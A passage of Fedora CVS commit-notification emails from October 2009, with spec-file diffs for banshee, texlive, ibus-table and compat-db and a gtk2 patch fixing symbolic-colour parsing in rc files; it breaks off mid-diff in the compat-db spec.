In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30803

Modified Files:
	banshee.spec 
Log Message:
* Thu Oct 22 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1%{?patchver}-2
- Rebuild against new mono-zeroconf (bz #526132)



Index: banshee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/devel/banshee.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- banshee.spec	19 Oct 2009 15:58:53 -0000	1.82
+++ banshee.spec	23 Oct 2009 00:14:26 -0000	1.83
@@ -3,7 +3,7 @@
 
 Name:    banshee
 Version: %{mainver}%{?patchver}
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: Easily import, manage, and play selections from your music collection
 
 Group:   Applications/Multimedia
@@ -19,7 +19,9 @@ ExclusiveArch: %ix86 x86_64 ia64 armv4l 
 # Versioned dependencies
 BuildRequires: libmusicbrainz-devel >= 2.1.1
 BuildRequires: mono-devel
-BuildRequires: mono-zeroconf-devel >= 0.7.2
+# see bz #526132 -- this is our first package that disables mDNSresponder
+# which does not work due to glibc dlsym bug
+BuildRequires: mono-zeroconf-devel >= 0.9.0-2
 BuildRequires: hal-devel >= 0.5.6
 BuildRequires: sqlite-devel >= 3.3
 BuildRequires: gstreamer-devel >= 0.10
@@ -202,6 +204,9 @@ fi
 
 
 %changelog
+* Thu Oct 22 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1%{?patchver}-2
+- Rebuild against new mono-zeroconf (bz #526132)
+
 * Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1-1
 - Update to final 1.5.1 release
 



From jnovy at fedoraproject.org  Fri Oct 23 01:21:09 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Fri, 23 Oct 2009 01:21:09 +0000 (UTC)
Subject: rpms/texlive/devel texlive.spec,1.56,1.57
Message-ID: <20091023012110.C970611C02A0@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22532

Modified Files:
	texlive.spec 
Log Message:
* Fri Oct 23 2009 Jindrich Novy <jnovy at redhat.com> 2007-46
- add missing dependency on kpathsea



Index: texlive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/devel/texlive.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- texlive.spec	16 Oct 2009 17:04:24 -0000	1.56
+++ texlive.spec	23 Oct 2009 01:20:55 -0000	1.57
@@ -21,7 +21,7 @@
 
 Name:		texlive
 Version:	%{texlive_ver}
-Release:	45%{?dist}
+Release:	46%{?dist}
 Summary:	Binaries for the TeX formatting system
 
 Group:		Applications/Publishing
@@ -335,6 +335,7 @@ distribution.
 %package -n kpathsea-devel
 Summary: Files needed to build software against kpathsea
 Group:   Development/Libraries
+Requires: kpathsea = %{version}
 
 %description -n kpathsea-devel
 This package includes the kpathsea header files and the libkpathsea.so
@@ -1237,6 +1238,9 @@ fi
 %{_mandir}/man1/texutil.1*
 
 %changelog
+* Fri Oct 23 2009 Jindrich Novy <jnovy at redhat.com> 2007-46
+- add missing dependency on kpathsea
+
 * Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-45
 - make kpathsea not dependent on texlive
 - fix lacheck again (#451513)



From mclasen at fedoraproject.org  Fri Oct 23 01:28:28 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri, 23 Oct 2009 01:28:28 +0000 (UTC)
Subject: rpms/gtk2/F-12 symbolic-color-parsing.patch, NONE, 1.1 gtk2.spec,
	1.420, 1.421
Message-ID: <20091023012828.9A1F011C008C@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26095

Modified Files:
	gtk2.spec 
Added Files:
	symbolic-color-parsing.patch 
Log Message:
Fix a problem with parsing symbolic colors in rc files


symbolic-color-parsing.patch:
 gtkrc.c       |   16 +++++++++++-----
 gtksettings.c |   49 +++++++++++++++++++++++++++++++++----------------
 2 files changed, 44 insertions(+), 21 deletions(-)

--- NEW FILE symbolic-color-parsing.patch ---
diff --git a/gtk/gtkrc.c b/gtk/gtkrc.c
index a2ac58b..70540a3 100644
--- a/gtk/gtkrc.c
+++ b/gtk/gtkrc.c
@@ -659,11 +659,15 @@ gtk_rc_color_hash_changed (GtkSettings  *settings,
 			   GParamSpec   *pspec,
 			   GtkRcContext *context)
 {
-  if (context->color_hash)
-    g_hash_table_unref (context->color_hash);
-  
+  GHashTable *old_hash;
+
+  old_hash = context->color_hash;
+
   g_object_get (settings, "color-hash", &context->color_hash, NULL);
 
+  if (old_hash)
+    g_hash_table_unref (old_hash);
+
   gtk_rc_reparse_all_for_settings (settings, TRUE);
 }
 
@@ -3148,8 +3152,10 @@ gtk_rc_parse_style (GtkRcContext *context,
           break;
         case GTK_RC_TOKEN_COLOR:
           if (our_hash == NULL)
-            gtk_rc_style_prepend_empty_color_hash (rc_style);
-          our_hash = rc_priv->color_hashes->data;
+            {
+              gtk_rc_style_prepend_empty_color_hash (rc_style);
+              our_hash = rc_priv->color_hashes->data;
+            }
           token = gtk_rc_parse_logical_color (scanner, rc_style, our_hash);
           break;
 	case G_TOKEN_IDENTIFIER:
diff --git a/gtk/gtksettings.c b/gtk/gtksettings.c
index 4917263..2b6b24e 100644
--- a/gtk/gtksettings.c
+++ b/gtk/gtksettings.c
@@ -2190,8 +2190,8 @@ settings_update_color_scheme (GtkSettings *settings)
 }
 
 static gboolean
-add_color_to_hash (gchar      *name, 
-		   GdkColor   *color, 
+add_color_to_hash (gchar      *name,
+		   GdkColor   *color,
 		   GHashTable *target)
 {
   GdkColor *old;
@@ -2200,7 +2200,7 @@ add_color_to_hash (gchar      *name,
   if (!old || !gdk_color_equal (old, color))
     {
       g_hash_table_insert (target, g_strdup (name), gdk_color_copy (color));
-      
+
       return TRUE;
     }
 
@@ -2208,7 +2208,7 @@ add_color_to_hash (gchar      *name,
 }
 
 static gboolean
-add_colors_to_hash_from_string (GHashTable  *hash, 
+add_colors_to_hash_from_string (GHashTable  *hash,
 				const gchar *colors)
 {
   gchar *s, *p, *name;
@@ -2256,24 +2256,27 @@ add_colors_to_hash_from_string (GHashTable  *hash,
 
 static gboolean
 update_color_hash (ColorSchemeData   *data,
-		   const gchar       *str, 
+		   const gchar       *str,
 		   GtkSettingsSource  source)
 {
   gboolean changed = FALSE;
   gint i;
   GHashTable *old_hash;
+  GHashTableIter iter;
+  gchar *name;
+  GdkColor *color;
 
-  if ((str == NULL || *str == '\0') && 
+  if ((str == NULL || *str == '\0') &&
       (data->lastentry[source] == NULL || data->lastentry[source][0] == '\0'))
     return FALSE;
 
   if (str && data->lastentry[source] && strcmp (str, data->lastentry[source]) == 0)
     return FALSE;
 
-  /* For the RC_FILE source we merge the values rather than over-writing 
+  /* For the RC_FILE source we merge the values rather than over-writing
    * them, since multiple rc files might define independent sets of colors
    */
-  if ((source != GTK_SETTINGS_SOURCE_RC_FILE) && 
+  if ((source != GTK_SETTINGS_SOURCE_RC_FILE) &&
       data->tables[source] && g_hash_table_size (data->tables[source]) > 0)
     {
       g_hash_table_unref (data->tables[source]);
@@ -2282,22 +2285,36 @@ update_color_hash (ColorSchemeData   *data,
     }
 
   if (data->tables[source] == NULL)
-    data->tables[source] = g_hash_table_new_full (g_str_hash, g_str_equal, 
+    data->tables[source] = g_hash_table_new_full (g_str_hash, g_str_equal,
 						  g_free,
 						  (GDestroyNotify) gdk_color_free);
 
   g_free (data->lastentry[source]);
   data->lastentry[source] = g_strdup (str);
-  
+
   changed |= add_colors_to_hash_from_string (data->tables[source], str);
 
   if (!changed)
     return FALSE;
-    
+
   /* Rebuild the merged hash table. */
-  old_hash = data->color_hash;
-  data->color_hash = g_hash_table_new_full (g_str_hash, g_str_equal, g_free,
-					    (GDestroyNotify) gdk_color_free);
+  if (data->color_hash)
+    {
+      old_hash = g_hash_table_new_full (g_str_hash, g_str_equal, g_free,
+                                        (GDestroyNotify) gdk_color_free);
+
+      g_hash_table_iter_init (&iter, data->color_hash);
+      while (g_hash_table_iter_next (&iter, &name, &color))
+        {
+          g_hash_table_insert (old_hash, name, color);
+          g_hash_table_iter_steal (&iter);
+        }
+    }
+  else
+    {
+      old_hash = NULL;
+    }
+
   for (i = 0; i <= GTK_SETTINGS_SOURCE_APPLICATION; i++)
     {
       if (data->tables[i])
@@ -2324,13 +2341,13 @@ update_color_hash (ColorSchemeData   *data,
                 {
                   changed = TRUE;
                   break;
-                } 
+                }
             }
         }
 
       g_hash_table_unref (old_hash);
     }
-  else 
+  else
     changed = TRUE;
 
   return changed;


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.420
retrieving revision 1.421
diff -u -p -r1.420 -r1.421
--- gtk2.spec	22 Oct 2009 06:43:47 -0000	1.420
+++ gtk2.spec	23 Oct 2009 01:28:28 -0000	1.421
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 8%{?dist}
+Release: 9%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -34,10 +34,9 @@ Patch2: icon-padding.patch
 Patch3: image-size-alloc.patch
 #
 Patch4: fresh-tooltips.patch
-#
 Patch5: zerosize.patch
-
 Patch6: compose-sequences.patch
+Patch7: symbolic-color-parsing.patch
 
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -155,6 +154,7 @@ This package contains developer document
 %patch4 -p1 -b .fresh-tooltips
 %patch5 -p1 -b .zerosize
 %patch6 -p1 -b .compose-sequences
+%patch7 -p1 -b .symbolic-color-parsing
 
 %build
 libtoolize --force --copy
@@ -391,6 +391,9 @@ fi
 
 
 %changelog
+* Thu Oct 22 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-9
+- Fix a problem with parsing symbolic colors in rc files (#528662)
+
 * Thu Oct 22 2009 Peter Hutterer <peter.hutterer at redhat.com> - 2.18.3-8
 - compose-sequences.patch: update compose sequences to what's currently in
   libX11 git.



From cchance at fedoraproject.org  Fri Oct 23 01:31:15 2009
From: cchance at fedoraproject.org (cchance)
Date: Fri, 23 Oct 2009 01:31:15 +0000 (UTC)
Subject: rpms/ibus-table/F-12 .cvsignore, 1.14, 1.15 ibus-table.spec, 1.28, 
	1.29 sources, 1.15, 1.16
Message-ID: <20091023013116.0CD1D11C0267@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/ibus-table/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26593

Modified Files:
	.cvsignore ibus-table.spec sources 
Log Message:
* Fri Oct 23 2009 Caius kaio Chance <k at kaio.me> - 1.2.0.20091014-1.fc12
- Regression of crashing: rollback to 20090902.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	21 Sep 2009 02:28:02 -0000	1.14
+++ .cvsignore	23 Oct 2009 01:31:13 -0000	1.15
@@ -1 +1 @@
-ibus-table-1.2.0.20090912.tar.gz
+ibus-table-1.2.0.20090902.tar.gz


Index: ibus-table.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table/F-12/ibus-table.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- ibus-table.spec	21 Sep 2009 02:34:28 -0000	1.28
+++ ibus-table.spec	23 Oct 2009 01:31:13 -0000	1.29
@@ -1,14 +1,15 @@
 Name:       ibus-table
-Version:    1.2.0.20090912
+Version:    1.2.0.20091014
 Release:    1%{?dist}
-Summary:    The Table engine for IBus platform
+Summary:    Table engine for IBus
 License:    LGPLv2+
 Group:      System Environment/Libraries
 URL:        http://code.google.com/p/ibus/
-Source0:    http://ibus.googlecode.com/files/%{name}-%{version}.tar.gz
+#Source0:    http://ibus.googlecode.com/files/%{name}-%{version}.tar.gz
+Source0:    http://ibus.googlecode.com/files/%{name}-1.2.0.20090902.tar.gz
 
-Requires:       ibus > 1.2.0
-BuildRequires:  ibus-devel > 1.2.0
+Requires:       ibus >= 1.2
+BuildRequires:  ibus-devel >= 1.2
 
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:  noarch
@@ -17,7 +18,7 @@ BuildArch:  noarch
 The package contains general Table engine for IBus platform.
 
 %package additional
-Summary:    Additional tables for general table engine of IBus.
+Summary:    Additional tables for general table engine of IBus
 Group:      System Environment/Libraries
 Requires:   %{name} = %{version}-%{release}
 
@@ -25,10 +26,10 @@ Requires:   %{name} = %{version}-%{relea
 This package contains additional tables.
 
 %prep
-%setup -q
+%setup -q -n %{name}-1.2.0.20090902
 
 %build
-%configure --disable-static
+%configure --disable-static --enable-additional
 %__make %{?_smp_mflags}
 
 %install
@@ -54,26 +55,13 @@ ibus-table-createdb -i -n %{_datadir}/ib
 %dir %{_datadir}/%{name}/data
 %{_datadir}/ibus/component/table.xml
 %{_datadir}/pkgconfig/%{name}.pc
-%{_datadir}/%{name}/tables/template.txt
-%{_datadir}/%{name}/icons/%{name}.svg
-%{_datadir}/%{name}/icons/full-letter.svg
-%{_datadir}/%{name}/icons/full-punct.svg
-%{_datadir}/%{name}/icons/half-letter.svg
-%{_datadir}/%{name}/icons/half-punct.svg
-%{_datadir}/%{name}/icons/onechar.svg
-%{_datadir}/%{name}/icons/phrase.svg
-%{_datadir}/%{name}/icons/py-mode.svg
-%{_datadir}/%{name}/icons/tab-mode.svg
-%{_datadir}/%{name}/icons/chinese.svg
-%{_datadir}/%{name}/icons/acommit.svg
-%{_datadir}/%{name}/icons/english.svg
-%{_datadir}/%{name}/icons/ncommit.svg
-%{_datadir}/%{name}/icons/cb-mode.svg
-%{_datadir}/%{name}/icons/sc-mode.svg
-%{_datadir}/%{name}/icons/scb-mode.svg
-%{_datadir}/%{name}/icons/tc-mode.svg
-%{_datadir}/%{name}/icons/tcb-mode.svg
 %{_datadir}/%{name}/data/pinyin_table.txt.bz2
+%{_datadir}/%{name}/engine/KeyEvent.py
+%{_datadir}/%{name}/engine/KeyEvent.pyc
+%{_datadir}/%{name}/engine/KeyEvent.pyo
+%{_datadir}/%{name}/engine/editor.py
+%{_datadir}/%{name}/engine/editor.pyc
+%{_datadir}/%{name}/engine/editor.pyo
 %{_datadir}/%{name}/engine/factory.py
 %{_datadir}/%{name}/engine/factory.pyc
 %{_datadir}/%{name}/engine/factory.pyo
@@ -92,20 +80,48 @@ ibus-table-createdb -i -n %{_datadir}/ib
 %{_datadir}/%{name}/engine/tabsqlitedb.py
 %{_datadir}/%{name}/engine/tabsqlitedb.pyc
 %{_datadir}/%{name}/engine/tabsqlitedb.pyo
-%{_datadir}/%{name}/engine/speedmeter.py
-%{_datadir}/%{name}/engine/speedmeter.pyc
-%{_datadir}/%{name}/engine/speedmeter.pyo
-%{_bindir}/%{name}-createdb
+%{_datadir}/%{name}/icons/acommit.svg
+%{_datadir}/%{name}/icons/cb-mode.svg
+%{_datadir}/%{name}/icons/chinese.svg
+%{_datadir}/%{name}/icons/ibus-table.svg
+%{_datadir}/%{name}/icons/english.svg
+%{_datadir}/%{name}/icons/full-letter.svg
+%{_datadir}/%{name}/icons/full-punct.svg
+%{_datadir}/%{name}/icons/half-letter.svg
+%{_datadir}/%{name}/icons/half-punct.svg
+%{_datadir}/%{name}/icons/ncommit.svg
+%{_datadir}/%{name}/icons/onechar.svg
+%{_datadir}/%{name}/icons/phrase.svg
+%{_datadir}/%{name}/icons/py-mode.svg
+%{_datadir}/%{name}/icons/sc-mode.svg
+%{_datadir}/%{name}/icons/scb-mode.svg
+%{_datadir}/%{name}/icons/tab-mode.svg
+%{_datadir}/%{name}/icons/tc-mode.svg
+%{_datadir}/%{name}/icons/tcb-mode.svg
+%{_datadir}/%{name}/meter/speedmeter.py
+%{_datadir}/%{name}/meter/speedmeter.pyc
+%{_datadir}/%{name}/meter/speedmeter.pyo
+%{_datadir}/%{name}/setup/main.py
+%{_datadir}/%{name}/setup/main.pyc
+%{_datadir}/%{name}/setup/main.pyo
+%{_datadir}/%{name}/setup/setup.glade
+%{_libexecdir}/ibus-setup-table
+%{_libexecdir}/ibus-table-meter
 %{_libexecdir}/ibus-engine-table
+%{_bindir}/%{name}-createdb
 
 %files additional
 %defattr(-,root,root,-)
-%{_datadir}/ibus-table/tables/compose.db
-%{_datadir}/ibus-table/tables/latex.db
-%{_datadir}/ibus-table/icons/compose.svg
-%{_datadir}/ibus-table/icons/latex.svg
+%{_datadir}/%{name}/tables/compose.db
+%{_datadir}/%{name}/tables/latex.db
+%{_datadir}/%{name}/tables/template.txt
+%{_datadir}/%{name}/icons/compose.svg
+%{_datadir}/%{name}/icons/latex.svg
 
 %changelog
+* Fri Oct 23 2009 Caius 'kaio' Chance <k at kaio.me> - 1.2.0.20091014-1.fc12
+- Regression of crashing: rollback to 20090902.
+
 * Fri Sep 04 2009 Caius 'kaio' Chance <k at kaio.me> - 1.2.0.20090912-1.fc12
 - Upgraded to upstream source.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table/F-12/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	21 Sep 2009 02:28:02 -0000	1.15
+++ sources	23 Oct 2009 01:31:13 -0000	1.16
@@ -1 +1 @@
-22c3994f665b129adc1db6eabed90fda  ibus-table-1.2.0.20090912.tar.gz
+987c057da83ecdcf221f6154db00690d  ibus-table-1.2.0.20090902.tar.gz



From jnovy at fedoraproject.org  Fri Oct 23 01:42:30 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Fri, 23 Oct 2009 01:42:30 +0000 (UTC)
Subject: rpms/texlive/F-12 texlive.spec,1.55,1.56
Message-ID: <20091023014230.5163611C04B6@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31878

Modified Files:
	texlive.spec 
Log Message:
* Fri Oct 23 2009 Jindrich Novy <jnovy at redhat.com> 2007-46
- add missing dependency on kpathsea



Index: texlive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-12/texlive.spec,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- texlive.spec	21 Oct 2009 17:17:20 -0000	1.55
+++ texlive.spec	23 Oct 2009 01:42:28 -0000	1.56
@@ -21,7 +21,7 @@
 
 Name:		texlive
 Version:	%{texlive_ver}
-Release:	45%{?dist}
+Release:	46%{?dist}
 Summary:	Binaries for the TeX formatting system
 
 Group:		Applications/Publishing
@@ -335,6 +335,7 @@ distribution.
 %package -n kpathsea-devel
 Summary: Files needed to build software against kpathsea
 Group:   Development/Libraries
+Requires: kpathsea = %{version}
 
 %description -n kpathsea-devel
 This package includes the kpathsea header files and the libkpathsea.so
@@ -1237,6 +1238,9 @@ fi
 %{_mandir}/man1/texutil.1*
 
 %changelog
+* Fri Oct 23 2009 Jindrich Novy <jnovy at redhat.com> 2007-46
+- add missing dependency on kpathsea
+
 * Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-45
 - make kpathsea not dependent on texlive
 - fix lacheck again (#451513)



From jnovy at fedoraproject.org  Fri Oct 23 01:44:39 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Fri, 23 Oct 2009 01:44:39 +0000 (UTC)
Subject: rpms/texlive/F-11 texlive.spec,1.52,1.53
Message-ID: <20091023014439.CD3A111C0265@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32631

Modified Files:
	texlive.spec 
Log Message:
* Fri Oct 23 2009 Jindrich Novy <jnovy at redhat.com> 2007-46
- add missing dependency on kpathsea



Index: texlive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-11/texlive.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- texlive.spec	21 Oct 2009 17:21:29 -0000	1.52
+++ texlive.spec	23 Oct 2009 01:44:36 -0000	1.53
@@ -21,7 +21,7 @@
 
 Name:		texlive
 Version:	%{texlive_ver}
-Release:	45%{?dist}
+Release:	46%{?dist}
 Summary:	Binaries for the TeX formatting system
 
 Group:		Applications/Publishing
@@ -335,6 +335,7 @@ distribution.
 %package -n kpathsea-devel
 Summary: Files needed to build software against kpathsea
 Group:   Development/Libraries
+Requires: kpathsea = %{version}
 
 %description -n kpathsea-devel
 This package includes the kpathsea header files and the libkpathsea.so
@@ -1237,6 +1238,9 @@ fi
 %{_mandir}/man1/texutil.1*
 
 %changelog
+* Fri Oct 23 2009 Jindrich Novy <jnovy at redhat.com> 2007-46
+- add missing dependency on kpathsea
+
 * Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-45
 - make kpathsea not dependent on texlive
 - fix lacheck again (#451513)



From jnovy at fedoraproject.org  Fri Oct 23 01:46:40 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Fri, 23 Oct 2009 01:46:40 +0000 (UTC)
Subject: rpms/texlive/F-10 texlive.spec,1.44,1.45
Message-ID: <20091023014640.B753811C008C@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1763

Modified Files:
	texlive.spec 
Log Message:
* Fri Oct 23 2009 Jindrich Novy <jnovy at redhat.com> 2007-46
- add missing dependency on kpathsea



Index: texlive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-10/texlive.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- texlive.spec	21 Oct 2009 17:26:46 -0000	1.44
+++ texlive.spec	23 Oct 2009 01:46:39 -0000	1.45
@@ -21,7 +21,7 @@
 
 Name:		texlive
 Version:	%{texlive_ver}
-Release:	45%{?dist}
+Release:	46%{?dist}
 Summary:	Binaries for the TeX formatting system
 
 Group:		Applications/Publishing
@@ -335,6 +335,7 @@ distribution.
 %package -n kpathsea-devel
 Summary: Files needed to build software against kpathsea
 Group:   Development/Libraries
+Requires: kpathsea = %{version}
 
 %description -n kpathsea-devel
 This package includes the kpathsea header files and the libkpathsea.so
@@ -1237,6 +1238,9 @@ fi
 %{_mandir}/man1/texutil.1*
 
 %changelog
+* Fri Oct 23 2009 Jindrich Novy <jnovy at redhat.com> 2007-46
+- add missing dependency on kpathsea
+
 * Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-45
 - make kpathsea not dependent on texlive
 - fix lacheck again (#451513)



From jnovy at fedoraproject.org  Fri Oct 23 02:06:15 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Fri, 23 Oct 2009 02:06:15 +0000 (UTC)
Subject: rpms/compat-db/devel compat-db.spec,1.40,1.41
Message-ID: <20091023020615.C6F8811C008C@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/compat-db/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7420

Modified Files:
	compat-db.spec 
Log Message:
* Thu Sep 10 2009 Jindrich Novy <jnovy at redhat.com> 4.6.21-6
- remove libtool hacks so that compat-db builds again
- remove support for old BDBs: 4.3.29, 4.2.52, 4.1.25



Index: compat-db.spec
===================================================================
RCS file: /cvs/pkgs/rpms/compat-db/devel/compat-db.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- compat-db.spec	24 Jul 2009 19:16:42 -0000	1.40
+++ compat-db.spec	23 Oct 2009 02:06:15 -0000	1.41
@@ -1,9 +1,6 @@
-%define db41_version 4.1.25
-%define db42_version 4.2.52
-%define db43_version 4.3.29
 %define db45_version 4.5.20
 %define db46_version 4.6.21
-%define db4_versions %{db41_version} %{db42_version} %{db43_version} %{db45_version} %{db46_version}
+%define db4_versions %{db45_version} %{db46_version}
 
 %define _libdb_a	libdb-${soversion}.a
 %define _libcxx_a	libdb_cxx-${soversion}.a
@@ -11,32 +8,14 @@
 Summary: The Berkeley DB database compatibility library
 Name: compat-db
 Version: 4.6.21
-Release: 9%{?dist}
-Source0: http://download.oracle.com/berkeley-db/db-%{db41_version}.tar.gz
-Source1: http://download.oracle.com/berkeley-db/db-%{db42_version}.tar.gz
-Source2: http://download.oracle.com/berkeley-db/db-%{db43_version}.tar.gz
-Source3: http://download.oracle.com/berkeley-db/db-%{db45_version}.tar.gz
-Source4: http://download.oracle.com/berkeley-db/db-%{db46_version}.tar.gz
+Release: 10%{?dist}
+Source0: http://download.oracle.com/berkeley-db/db-%{db45_version}.tar.gz
+Source1: http://download.oracle.com/berkeley-db/db-%{db46_version}.tar.gz
 
 Patch3: db-4.5.20-sparc64.patch
 Patch4: db-4.5.20-glibc.patch
 Patch5: db-4.6.21-1.85-compat.patch
 
-# Upstream db-4.1.25 patches
-Patch0: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db41_version}/patch.%{db41_version}.1
-Patch1: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db41_version}/patch.%{db41_version}.2
-Patch2: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db41_version}/patch.%{db41_version}.3
-
-# Upstream db-4.2.52 patches
-Patch10: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db42_version}/patch.%{db42_version}.1
-Patch11: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db42_version}/patch.%{db42_version}.2
-Patch12: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db42_version}/patch.%{db42_version}.3
-Patch13: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db42_version}/patch.%{db42_version}.4
-Patch14: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db42_version}/patch.%{db42_version}.5
-
-# Upstream db-4.3.29 patches
-Patch20: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db43_version}/patch.%{db43_version}.1
-
 # Upstream db-4.5.20 patches
 Patch30: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db45_version}/patch.%{db45_version}.1
 Patch31: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db45_version}/patch.%{db45_version}.2
@@ -44,7 +23,6 @@ Patch31: http://www.oracle.com/technolog
 # Upstream db-4.6.21 patches
 Patch40: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db46_version}/patch.%{db46_version}.1
 Patch41: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db46_version}/patch.%{db46_version}.2
-Patch42: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db46_version}/patch.%{db46_version}.3
 
 URL: http://www.oracle.com/database/berkeley-db/
 License: BSD
@@ -60,54 +38,6 @@ embedded database support for both tradi
 This package contains various versions of Berkeley DB which were included in
 previous releases of Red Hat Linux.
 
-%package -n compat-db41
-Summary: The Berkeley DB database %{db41_version} compatibility library
-Group: System Environment/Libraries
-Version: %{db41_version}
-Obsoletes: db1, db1-devel
-Obsoletes: db2, db2-devel, db2-utils
-Obsoletes: db3, db3-devel, db3-utils
-Obsoletes: db31, db32, db3x
-Obsoletes: db4 < 4.1, db4-devel < 4.1, db4-utils < 4.1, db4-tcl < 4.1, db4-java < 4.1
-Obsoletes: compat-db < 4.6.21-5
-
-%description -n compat-db41
-The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides
-embedded database support for both traditional and client/server applications.
-This package contains Berkeley DB library version %{db41_version} used for compatibility.
-
-%package -n compat-db42
-Summary: The Berkeley DB database %{db42_version} compatibility library
-Group: System Environment/Libraries
-Version: %{db42_version}
-Obsoletes: db1, db1-devel
-Obsoletes: db2, db2-devel, db2-utils
-Obsoletes: db3, db3-devel, db3-utils
-Obsoletes: db31, db32, db3x
-Obsoletes: db4 < 4.2, db4-devel < 4.2, db4-utils < 4.2, db4-tcl < 4.2, db4-java < 4.2
-Obsoletes: compat-db < 4.6.21-5
-
-%description -n compat-db42
-The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides
-embedded database support for both traditional and client/server applications.
-This package contains Berkeley DB library version %{db42_version} used for compatibility.
-
-%package -n compat-db43
-Summary: The Berkeley DB database %{db43_version} compatibility library
-Group: System Environment/Libraries
-Version: %{db43_version}
-Obsoletes: db1, db1-devel
-Obsoletes: db2, db2-devel, db2-utils
-Obsoletes: db3, db3-devel, db3-utils
-Obsoletes: db31, db32, db3x
-Obsoletes: db4 < 4.3, db4-devel < 4.3, db4-utils < 4.3, db4-tcl < 4.3, db4-java < 4.3
-Obsoletes: compat-db < 4.6.21-5
-
-%description -n compat-db43
-The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides
-embedded database support for both traditional and client/server applications.
-This package contains Berkeley DB library version %{db43_version} used for compatibility.
-
 %package -n compat-db45
 Summary: The Berkeley DB database %{db45_version} compatibility library
 Group: System Environment/Libraries
@@ -141,26 +71,7 @@ embedded database support for both tradi
 This package contains Berkeley DB library version %{db46_version} used for compatibility.
 
 %prep
-%setup -q -c -a 1 -a 2 -a 3 -a 4
-
-pushd db-%{db41_version}
-%patch0 -p0
-%patch1 -p0
-%patch2 -p0
-popd
-
-pushd db-%{db42_version}
-%patch10 -p0
-%patch11 -p0
-%patch12 -p0
-%patch13 -p0
-%patch14 -p0
-popd
-
-pushd db-%{db43_version}
-%patch20 -p0
